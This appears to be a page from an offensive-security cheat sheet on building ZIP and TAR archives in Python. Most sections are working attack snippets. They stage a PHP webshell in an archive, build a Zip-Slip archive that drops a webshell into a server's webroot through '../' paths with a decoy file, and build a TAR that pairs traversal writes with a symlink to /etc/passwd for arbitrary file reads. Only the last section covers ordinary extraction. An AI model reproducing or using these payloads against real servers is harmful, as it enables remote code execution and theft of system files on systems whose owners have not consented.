Skip to content
Archives

Archives

Building and reading ZIP and TAR files, including Zip-Slip and symlink-traversal archives.

Create a ZIP / write entries

writestr() drops a file from a string (no temp file); useful for staging a webshell inside an archive.

import zipfile, io

# write to disk
with zipfile.ZipFile("out.zip", "w", zipfile.ZIP_DEFLATED) as z:
    z.writestr("shell.php", "<?php system($_GET['c']); ?>")
    z.write("local.txt", arcname="readme.txt")

# build entirely in memory (upload without touching disk)
buf = io.BytesIO()
with zipfile.ZipFile(buf, "w") as z:
    z.writestr("payload.txt", "data")
buf.seek(0)   # files={"file": ("a.zip", buf, "application/zip")}

Find by: zip, zipfile, create archive, compress, writestr, write, archive, package, build zip, in memory, gap

Zip-Slip — path-traversal archive

When the server extracts uploads without sanitising names, a ../ entry writes outside the extract dir.

import zipfile

with zipfile.ZipFile("evil.zip", "w") as z:
    z.writestr("../../../../var/www/html/shell.php",
               "<?php system($_REQUEST['cmd']); ?>")
    z.writestr("readme.txt", "looks legit")   # decoy
# upload evil.zip -> server extracts -> shell lands in the webroot

Find by: zip slip, path traversal, malicious zip, arbitrary write, extract, dot dot, overwrite, webshell, exploit, gap, directory escape

Malicious TAR — traversal & symlink

Tar preserves traversal names AND symlinks. The symlink trick yields arbitrary read when the app later serves an extracted file.

import tarfile, io

def add(t, name, data):
    info = tarfile.TarInfo(name); info.size = len(data)
    t.addfile(info, io.BytesIO(data))

with tarfile.open("evil.tar", "w") as t:
    # traversal write
    add(t, "../../../../var/www/html/shell.php", b"<?php system($_GET['c']); ?>")
    # symlink -> read a file the app exposes after extraction
    link = tarfile.TarInfo("loot.txt"); link.type = tarfile.SYMTYPE
    link.linkname = "/etc/passwd"; t.addfile(link)

Find by: tar, tarfile, symlink, path traversal, arbitrary read, arbitrary write, malicious archive, extract, exploit, gap, link

Read / extract a ZIP or TAR

Listing before extracting spots traversal entries. A single member can be read without unpacking everything.

import zipfile

with zipfile.ZipFile("in.zip") as z:
    print(z.namelist())
    data = z.read("config.php")          # one member, in memory
    z.extractall("out/")                 # all members

import tarfile
with tarfile.open("in.tar") as t:
    print(t.getnames())
    t.extractall("out/")

Find by: zip, tar, extract, read archive, namelist, extractall, list contents, unpack, open archive, gap, inspect